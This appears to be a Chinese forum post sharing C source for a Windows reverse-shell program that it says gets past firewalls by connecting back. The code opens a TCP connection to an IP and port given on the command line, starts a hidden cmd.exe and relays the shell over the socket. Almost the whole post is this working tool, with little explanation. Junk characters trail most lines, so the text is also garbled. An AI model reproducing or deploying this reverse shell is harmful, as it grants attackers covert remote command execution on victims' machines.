Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 ~A5MzrvIO2  
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/* ============================== |rDv!m  
Rebound port in Windows NT 0Q1sJDa.  
By wind,2006/7
</OZ,3J=  
===============================*/ dfmxz7V  
#include -8]M ,,?  
#include ZKv^q%92  
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#pragma comment(lib,"wsock32.lib") \!["U`\.K  
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void OutputShell(); ^Cs5A0xo#s  
SOCKET sClient; oq<n5  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &Jr~)o   
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void main(int argc,char **argv) )OAd[u<  
{ M@n9i@UsO  
WSADATA stWsaData; 9ntXLWK7e  
int nRet; 3 oG5E"G  
SOCKADDR_IN stSaiClient,stSaiServer; -R[ *S "  
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if(argc != 3) Ris5)*7  
{ DhL]\ 4  
printf("Useage:\n\rRebound DestIP DestPort\n");
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return; ,KMt9<  
} G:]w UC\  
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WSAStartup(MAKEWORD(2,2),&stWsaData); JDyP..Dt  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Uo
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stSaiClient.sin_family = AF_INET; V_&>0P{q  
stSaiClient.sin_port = htons(0); @GB~rfB[  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); XC
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Lwg@*:`d  
{ 0koC;(<n  
printf("Bind Socket Failed!\n"); "Yo.]PU  
return; o0nKgq'w|x  
} J8T?=%?=  
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stSaiServer.sin_family = AF_INET; W+&w'~M  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); k|^e=I   
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); m{/?6h 1  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)  vj+x
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{ z4snH%q  
printf("Connect Error!"); n6PXPc  
return; b`@aiXN)+  
} R(?g+:eCpM  
OutputShell(); iY /N%T;  
} tntQO!pM  
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void OutputShell() =+T$1  
{ Qz+hS\yx  
char szBuff[1024]; pV>M,f  
SECURITY_ATTRIBUTES stSecurityAttributes; p/4\O  
OSVERSIONINFO stOsversionInfo; '\$2+*  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 0$-N  
STARTUPINFO stStartupInfo; cMCGaaLU  
char *szShell; z(AhO  
PROCESS_INFORMATION stProcessInformation; &ggS!y'n  
unsigned long lBytesRead; <$^76=x,8P  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); XNwZSW  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ]*8K4n G  
stSecurityAttributes.lpSecurityDescriptor = 0; N{}XHA  
stSecurityAttributes.bInheritHandle = TRUE; f_*Bd.@  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %"2;i@  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); : GZx-   
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); v'"0Ya  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =tJ}itcJ'  
stStartupInfo.wShowWindow = SW_HIDE; pq 4/>WzE  
stStartupInfo.hStdInput = hReadPipe; $"d< F3k  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 2L#$WuM~^  
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GetVersionEx(&stOsversionInfo); < sJ  
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switch(stOsversionInfo.dwPlatformId) XY[uyR4Z  
{ e12.suv  
case 1: yG
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szShell = "command.com"; S}q6CG7 u  
break; Y<'T;@  
default: 6!|-,t><  
szShell = "cmd.exe"; 2]Nc@wX`p  
break; : Gp,d*M  
} f$G{7%9*  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); STDT]3.  
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send(sClient,szMsg,77,0); Jww LAQ5  
while(1) [NE:$@  
{ _S43_hW  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); _b+=q:$/  
if(lBytesRead) bk@F/KqL  
{ ~bSPtH ]6d  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); GA,6G [E  
send(sClient,szBuff,lBytesRead,0); wf4?{H
  
} 1gEeZ\B-&  
else 1m*fkM#  
{ 01n5]^.p  
lBytesRead=recv(sClient,szBuff,1024,0); ?mdgY1  
if(lBytesRead<=0) break; a#iJXI  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 'eNcQJh  
} iez@j  
} -^m]Tb<u  
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return; q[l!kC+Eh  
}